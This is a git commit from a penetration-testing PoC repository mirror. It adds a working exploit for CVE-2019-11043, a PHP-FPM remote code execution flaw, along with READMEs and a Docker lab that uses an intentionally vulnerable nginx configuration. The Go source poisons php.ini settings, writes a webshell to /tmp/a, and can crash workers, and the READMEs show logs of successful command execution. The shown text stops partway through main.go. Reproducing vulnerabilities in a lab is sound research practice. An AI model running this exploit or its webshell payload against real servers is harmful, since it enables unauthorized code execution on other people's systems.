mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 18:00:35 +00:00
add CVE-2019-11043-PHP远程代码执行漏
This commit is contained in:
parent
63cb9c8bfa
commit
3f9a0c92fe
BIN
CVE-2019-11043/CVE-2019-11043/1.png
Normal file
BIN
CVE-2019-11043/CVE-2019-11043/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
BIN
CVE-2019-11043/CVE-2019-11043/2.png
Normal file
BIN
CVE-2019-11043/CVE-2019-11043/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 25 KiB |
51
CVE-2019-11043/CVE-2019-11043/README.md
Normal file
51
CVE-2019-11043/CVE-2019-11043/README.md
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
# PHP-FPM Remote Command Execution (CVE-2019-11043)
|
||||||
|
|
||||||
|
[中文版本(Chinese version)](README.zh-cn.md)
|
||||||
|
|
||||||
|
There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals.
|
||||||
|
|
||||||
|
> Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China.
|
||||||
|
|
||||||
|
References:
|
||||||
|
|
||||||
|
- https://bugs.php.net/bug.php?id=78599
|
||||||
|
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
|
||||||
|
- https://github.com/neex/phuip-fpizdam
|
||||||
|
|
||||||
|
## Environment setup
|
||||||
|
|
||||||
|
Start a vulnerable PHP server through following command:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker-compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
After the environment is started, you can see the default page at `http://your-ip:8080/index.php`.
|
||||||
|
|
||||||
|
## Vulnerability Reproduce
|
||||||
|
|
||||||
|
Use this tool to reproduce the vulnerability, <https://github.com/neex/phuip-fpizdam>:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ go run . "http://your-ip:8080/index.php"
|
||||||
|
2019/10/23 19:41:00 Base status code is 200
|
||||||
|
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
|
||||||
|
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
|
||||||
|
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
|
||||||
|
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
|
||||||
|
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
|
||||||
|
2019/10/23 19:41:02 Performing attack using php.ini settings...
|
||||||
|
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
|
||||||
|
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
|
||||||
|
2019/10/23 19:41:02 Done!
|
||||||
|
```
|
||||||
|
|
||||||
|
Something is show that the process is finished successfully:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
A webshell is written in the background of PHP-FPM, visit `http://your-ip:8080/index.php?a=id` to trigger RCE:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
You should notice that only part of the PHP-FPM child process is polluted, so please try a few more times to execute the command.
|
49
CVE-2019-11043/CVE-2019-11043/README.zh-cn.md
Normal file
49
CVE-2019-11043/CVE-2019-11043/README.zh-cn.md
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
# PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
|
||||||
|
|
||||||
|
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
|
||||||
|
|
||||||
|
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://bugs.php.net/bug.php?id=78599
|
||||||
|
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
|
||||||
|
- https://github.com/neex/phuip-fpizdam
|
||||||
|
|
||||||
|
## 漏洞环境
|
||||||
|
|
||||||
|
执行如下命令启动有漏洞的Nginx和PHP:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker-compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
使用<https://github.com/neex/phuip-fpizdam>中给出的工具,发送数据包:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ go run . "http://your-ip:8080/index.php"
|
||||||
|
2019/10/23 19:41:00 Base status code is 200
|
||||||
|
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
|
||||||
|
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
|
||||||
|
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
|
||||||
|
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
|
||||||
|
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
|
||||||
|
2019/10/23 19:41:02 Performing attack using php.ini settings...
|
||||||
|
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
|
||||||
|
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
|
||||||
|
2019/10/23 19:41:02 Done!
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
可见,这里已经执行成功。
|
||||||
|
|
||||||
|
我们访问`http://your-ip:8080/index.php?a=id`,即可查看到命令已成功执行:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
注意,因为php-fpm会启动多个子进程,在访问`/index.php?a=id`时需要多访问几次,以访问到被污染的进程。
|
27
CVE-2019-11043/CVE-2019-11043/default.conf
Normal file
27
CVE-2019-11043/CVE-2019-11043/default.conf
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
server {
|
||||||
|
listen 80 default_server;
|
||||||
|
listen [::]:80 default_server;
|
||||||
|
|
||||||
|
root /usr/share/nginx/html;
|
||||||
|
|
||||||
|
index index.html index.php;
|
||||||
|
|
||||||
|
server_name _;
|
||||||
|
|
||||||
|
location / {
|
||||||
|
try_files $uri $uri/ =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
location ~ [^/]\.php(/|$) {
|
||||||
|
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
|
||||||
|
include fastcgi_params;
|
||||||
|
|
||||||
|
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||||
|
fastcgi_index index.php;
|
||||||
|
fastcgi_param REDIRECT_STATUS 200;
|
||||||
|
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
|
||||||
|
fastcgi_param DOCUMENT_ROOT /var/www/html;
|
||||||
|
fastcgi_pass php:9000;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
15
CVE-2019-11043/CVE-2019-11043/docker-compose.yml
Normal file
15
CVE-2019-11043/CVE-2019-11043/docker-compose.yml
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
version: '2'
|
||||||
|
services:
|
||||||
|
nginx:
|
||||||
|
image: nginx:1
|
||||||
|
volumes:
|
||||||
|
- ./www:/usr/share/nginx/html
|
||||||
|
- ./default.conf:/etc/nginx/conf.d/default.conf
|
||||||
|
depends_on:
|
||||||
|
- php
|
||||||
|
ports:
|
||||||
|
- "8080:80"
|
||||||
|
php:
|
||||||
|
image: php:7.2.10-fpm
|
||||||
|
volumes:
|
||||||
|
- ./www:/var/www/html
|
2
CVE-2019-11043/CVE-2019-11043/www/index.php
Normal file
2
CVE-2019-11043/CVE-2019-11043/www/index.php
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
<?php
|
||||||
|
echo "hello world";
|
61
CVE-2019-11043/phuip-fpizdam/README.md
Normal file
61
CVE-2019-11043/phuip-fpizdam/README.md
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
# PHuiP-FPizdaM
|
||||||
|
|
||||||
|
## What's this
|
||||||
|
|
||||||
|
This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see below).
|
||||||
|
|
||||||
|
## What's vulnerable
|
||||||
|
|
||||||
|
If a webserver runs nginx + php-fpm and nginx have a configuration like
|
||||||
|
|
||||||
|
```
|
||||||
|
location ~ [^/]\.php(/|$) {
|
||||||
|
...
|
||||||
|
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
|
||||||
|
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||||
|
fastcgi_pass php:9000;
|
||||||
|
...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
which also lacks any script existence checks (like `try_files`), then you can probably hack it with this sploit.
|
||||||
|
|
||||||
|
So, the full list of preconditions is:
|
||||||
|
1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)` must be forwarded to php-fpm (maybe the regexp can be stricter, see [#1](https://github.com/neex/phuip-fpizdam/issues/1)).
|
||||||
|
2. The `fastcgi_split_path_info` directive must be there and contain a regexp starting with `^` and ending with `$`, so we can break it with a newline character.
|
||||||
|
3. There must be a `PATH_INFO` variable assignment via statement `fastcgi_param PATH_INFO $fastcgi_path_info;`. At first, we thought it is always present in the `fastcgi_params` file, but it's not true.
|
||||||
|
4. No file existence checks like `try_files $uri =404` or `if (-f $uri)`. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.
|
||||||
|
|
||||||
|
## Isn't this known to be vulnerable for years?
|
||||||
|
|
||||||
|
A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like `/avatar.png/some-fake-shit.php` could execute `avatar.png` as a PHP script. This issue was fixed around 2010.
|
||||||
|
|
||||||
|
The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.
|
||||||
|
|
||||||
|
## How to run
|
||||||
|
|
||||||
|
Install it using
|
||||||
|
```
|
||||||
|
go install github.com/neex/phuip-fpizdam
|
||||||
|
```
|
||||||
|
|
||||||
|
and try to run using `phuip-fpizdam [url]`. Good output looks like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
2019/10/01 02:46:15 Base status code is 200
|
||||||
|
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
|
||||||
|
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
|
||||||
|
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
|
||||||
|
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
|
||||||
|
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
|
||||||
|
2019/10/01 02:46:16 Performing attack using php.ini settings...
|
||||||
|
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
|
||||||
|
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
|
||||||
|
2019/10/01 02:46:40 Done!
|
||||||
|
```
|
||||||
|
|
||||||
|
After this, you can start appending `?a=<your command>` to all PHP scripts (you may need multiple retries).
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru).
|
67
CVE-2019-11043/phuip-fpizdam/attack.go
Normal file
67
CVE-2019-11043/phuip-fpizdam/attack.go
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"log"
|
||||||
|
"net/url"
|
||||||
|
)
|
||||||
|
|
||||||
|
var chain = []string{
|
||||||
|
"short_open_tag=1",
|
||||||
|
"html_errors=0",
|
||||||
|
"include_path=/tmp",
|
||||||
|
"auto_prepend_file=a",
|
||||||
|
"log_errors=1",
|
||||||
|
"error_reporting=2",
|
||||||
|
"error_log=/tmp/a",
|
||||||
|
"extension_dir=\"<?=`\"",
|
||||||
|
"extension=\"$_GET[a]`?>\"",
|
||||||
|
}
|
||||||
|
|
||||||
|
const (
|
||||||
|
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
|
||||||
|
successPattern = "/bin/which"
|
||||||
|
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
|
||||||
|
)
|
||||||
|
|
||||||
|
func Attack(requester *Requester, params *AttackParams) error {
|
||||||
|
log.Printf("Performing attack using php.ini settings...")
|
||||||
|
|
||||||
|
attackLoop:
|
||||||
|
for {
|
||||||
|
for _, payload := range chain {
|
||||||
|
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if bytes.Contains(body, []byte(successPattern)) {
|
||||||
|
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
|
||||||
|
break attackLoop
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Trying to cleanup /tmp/a...")
|
||||||
|
cleanup := url.Values{"a": []string{cleanupCommand}}
|
||||||
|
for {
|
||||||
|
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if bytes.Contains(body, []byte(successPattern)) {
|
||||||
|
log.Print("Done!")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func KillWorkers(requester *Requester, params *AttackParams, killCount int) error {
|
||||||
|
for i := 0; i < killCount; i++ {
|
||||||
|
if _, _, err := requester.Request(BreakingPayload, params); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
14
CVE-2019-11043/phuip-fpizdam/consts.go
Normal file
14
CVE-2019-11043/phuip-fpizdam/consts.go
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
const (
|
||||||
|
UserAgent = "Mozilla/5.0"
|
||||||
|
PosOffset = 34
|
||||||
|
SettingEnableRetries = 50
|
||||||
|
MinQSL = 1500
|
||||||
|
MaxQSL = 1950
|
||||||
|
QSLDetectStep = 5
|
||||||
|
MaxQSLDetectDelta = 10
|
||||||
|
MaxQSLCandidates = 10
|
||||||
|
MaxPisosLength = 256
|
||||||
|
BreakingPayload = "/PHP\nis_the_shittiest_lang.php"
|
||||||
|
)
|
180
CVE-2019-11043/phuip-fpizdam/detect.go
Normal file
180
CVE-2019-11043/phuip-fpizdam/detect.go
Normal file
@ -0,0 +1,180 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"sort"
|
||||||
|
)
|
||||||
|
|
||||||
|
var errPisosBruteForbidden = errors.New("pisos length brute is forbidden by command line options")
|
||||||
|
|
||||||
|
type AttackParams struct {
|
||||||
|
QueryStringLength int
|
||||||
|
PisosLength int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (ap *AttackParams) Complete() bool {
|
||||||
|
return ap.QueryStringLength != 0 && ap.PisosLength != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (ap *AttackParams) String() string {
|
||||||
|
s := fmt.Sprintf("--qsl %v --pisos %v", ap.QueryStringLength, ap.PisosLength)
|
||||||
|
if ap.Complete() {
|
||||||
|
s += " --skip-detect"
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onlyQSL bool) (*AttackParams, error) {
|
||||||
|
var qslCandidates []int
|
||||||
|
baseResp, _, err := requester.Request("/path\ninfo.php", &AttackParams{MinQSL, 1})
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("error while doing first request: %v", err)
|
||||||
|
}
|
||||||
|
baseStatus := baseResp.StatusCode
|
||||||
|
log.Printf("Base status code is %#v", baseStatus)
|
||||||
|
if hints.QueryStringLength != 0 {
|
||||||
|
if onlyQSL {
|
||||||
|
return nil, errors.New("only-qsl specified with --qsl, nothing to do")
|
||||||
|
}
|
||||||
|
log.Printf("Skipping qsl detection, using hint (qsl=%v)", hints.QueryStringLength)
|
||||||
|
qslCandidates = append(qslCandidates, hints.QueryStringLength)
|
||||||
|
} else {
|
||||||
|
for qsl := MinQSL; qsl <= MaxQSL; qsl += QSLDetectStep {
|
||||||
|
ap := &AttackParams{qsl, 1}
|
||||||
|
resp, _, err := requester.Request(BreakingPayload, ap)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("error for %#v: %v", ap, err)
|
||||||
|
}
|
||||||
|
if resp.StatusCode != baseStatus {
|
||||||
|
log.Printf("Status code %v for qsl=%v, adding as a candidate", resp.StatusCode, qsl)
|
||||||
|
qslCandidates = append(qslCandidates, qsl)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(qslCandidates) == 0 {
|
||||||
|
return nil, errors.New("no qsl candidates found, invulnerable or something wrong")
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(qslCandidates) > MaxQSLCandidates {
|
||||||
|
return nil, errors.New("too many qsl candidates found, looks like I got banned")
|
||||||
|
}
|
||||||
|
qslCandidates = extendQSLCandidatesList(qslCandidates)
|
||||||
|
log.Printf("The target is probably vulnerable. Possible QSLs: %v", qslCandidates)
|
||||||
|
if onlyQSL {
|
||||||
|
return nil, errPisosBruteForbidden
|
||||||
|
}
|
||||||
|
|
||||||
|
for try := 0; try < 10; try++ {
|
||||||
|
if err := SanityCheck(requester, method, baseStatus); err != nil {
|
||||||
|
return nil, fmt.Errorf("sanity check failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var plCandidates []int
|
||||||
|
if hints.PisosLength != 0 {
|
||||||
|
plCandidates = append(plCandidates, hints.PisosLength)
|
||||||
|
log.Printf("Skipping pisos length brute, using hint (pl=%v)", hints.PisosLength)
|
||||||
|
} else {
|
||||||
|
for i := 1; i <= MaxPisosLength; i++ {
|
||||||
|
plCandidates = append(plCandidates, i)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
payload, err := MakePathInfo(method.PHPOptionEnable)
|
||||||
|
if err != nil {
|
||||||
|
// methods are hardcoded, this shouldn't happen
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
for try := 0; try < SettingEnableRetries; try += 1 {
|
||||||
|
for _, qsl := range qslCandidates {
|
||||||
|
for _, pl := range plCandidates {
|
||||||
|
params := &AttackParams{qsl, pl}
|
||||||
|
resp, data, err := requester.Request(payload, params)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("error for %#v: %v", params, err)
|
||||||
|
}
|
||||||
|
if resp.StatusCode != baseStatus {
|
||||||
|
log.Printf("Status code %v for %#v", resp.StatusCode, params)
|
||||||
|
}
|
||||||
|
|
||||||
|
if method.Check(resp, data) {
|
||||||
|
log.Printf("Attack params found: %v", params)
|
||||||
|
return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("not vulnerable or other failure, IDK")
|
||||||
|
}
|
||||||
|
|
||||||
|
func SanityCheck(requester *Requester, method *DetectMethod, baseStatus int) error {
|
||||||
|
resp, data, err := requester.Request("/PHP\nSOSAT", &AttackParams{
|
||||||
|
QueryStringLength: MaxQSL,
|
||||||
|
PisosLength: MaxPisosLength,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if resp.StatusCode != baseStatus {
|
||||||
|
return fmt.Errorf("invalid status code: %v (must be %v). Maybe \".php\" suffix is required?", resp.StatusCode, baseStatus)
|
||||||
|
}
|
||||||
|
|
||||||
|
if method.Check(resp, data) {
|
||||||
|
_, _ = fmt.Fprintf(os.Stderr, `
|
||||||
|
OK, here's what happened:
|
||||||
|
|
||||||
|
I was trying to set %#v setting using the vulnerability.
|
||||||
|
If it had been set I would have been able to detect it so I would have known
|
||||||
|
the attack params. However, my %#v detector says it's
|
||||||
|
already set before I took any actions.
|
||||||
|
|
||||||
|
This can happen for one of two reasons:
|
||||||
|
|
||||||
|
1. The server has %#v already enabled in the config (or the script behaves like it).
|
||||||
|
2. You launched the attack previously and resetting back to %#v failed.
|
||||||
|
|
||||||
|
If it's 1, everything is simple: try another detection method.
|
||||||
|
|
||||||
|
If it's 2, there might be some problems. The server now runs with the poisoned
|
||||||
|
config and may seem broken for other users if the detection method is intrusive
|
||||||
|
(like "output_handler=md5"). I don't know how to fix it.
|
||||||
|
|
||||||
|
If you have previously retrieved attack params (QSL and Pisos) try to use them
|
||||||
|
with --skip-detection. If you manage to get RCE you can fix the server. Another
|
||||||
|
option is to try --reset-setting flag, but I'm not sure it will help.
|
||||||
|
|
||||||
|
Another option is to use --kill-workers, this may kill php-fpm workers with SIGSEGV.
|
||||||
|
They will restart and the server will become usable again.
|
||||||
|
|
||||||
|
If you don't have attack params, used intrusive detection method and don't own the
|
||||||
|
server, you are fucked.
|
||||||
|
|
||||||
|
`, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionDisable)
|
||||||
|
|
||||||
|
return fmt.Errorf("already attacked? Setting %v seems to be set", method.PHPOptionEnable)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func extendQSLCandidatesList(candidates []int) []int {
|
||||||
|
values := make(map[int]struct{})
|
||||||
|
for _, qsl := range candidates {
|
||||||
|
for delta := 0; delta <= MaxQSLDetectDelta; delta += QSLDetectStep {
|
||||||
|
c := qsl - delta
|
||||||
|
values[c] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var extended []int
|
||||||
|
for qsl := range values {
|
||||||
|
extended = append(extended, qsl)
|
||||||
|
}
|
||||||
|
sort.Sort(sort.IntSlice(extended))
|
||||||
|
return extended
|
||||||
|
}
|
29
CVE-2019-11043/phuip-fpizdam/detect_methods.go
Normal file
29
CVE-2019-11043/phuip-fpizdam/detect_methods.go
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
type DetectMethod struct {
|
||||||
|
PHPOptionEnable string
|
||||||
|
PHPOptionDisable string
|
||||||
|
Check func(resp *http.Response, data []byte) bool
|
||||||
|
}
|
||||||
|
|
||||||
|
var Methods = map[string]*DetectMethod{
|
||||||
|
"session.auto_start": {
|
||||||
|
PHPOptionEnable: "session.auto_start=1",
|
||||||
|
PHPOptionDisable: "session.auto_start=0",
|
||||||
|
Check: func(resp *http.Response, _ []byte) bool {
|
||||||
|
return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID")
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"output_handler.md5": {
|
||||||
|
PHPOptionEnable: "output_handler=md5",
|
||||||
|
PHPOptionDisable: "output_handler=NULL",
|
||||||
|
Check: func(_ *http.Response, data []byte) bool {
|
||||||
|
return len(data) == 16
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
5
CVE-2019-11043/phuip-fpizdam/go.mod
Normal file
5
CVE-2019-11043/phuip-fpizdam/go.mod
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
module phuip-fpizdam
|
||||||
|
|
||||||
|
go 1.12
|
||||||
|
|
||||||
|
require github.com/spf13/cobra v0.0.5
|
33
CVE-2019-11043/phuip-fpizdam/go.sum
Normal file
33
CVE-2019-11043/phuip-fpizdam/go.sum
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||||
|
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
|
||||||
|
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
||||||
|
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
|
||||||
|
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
|
||||||
|
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||||
|
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
|
||||||
|
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
|
||||||
|
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
|
||||||
|
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||||
|
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||||
|
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||||
|
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
|
||||||
|
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
|
||||||
|
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
||||||
|
github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s=
|
||||||
|
github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
|
||||||
|
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
|
||||||
|
github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg=
|
||||||
|
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||||
|
github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
|
||||||
|
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||||
|
github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
|
||||||
|
github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
|
||||||
|
golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||||
|
golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
|
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
124
CVE-2019-11043/phuip-fpizdam/main.go
Normal file
124
CVE-2019-11043/phuip-fpizdam/main.go
Normal file
@ -0,0 +1,124 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
|
||||||
|
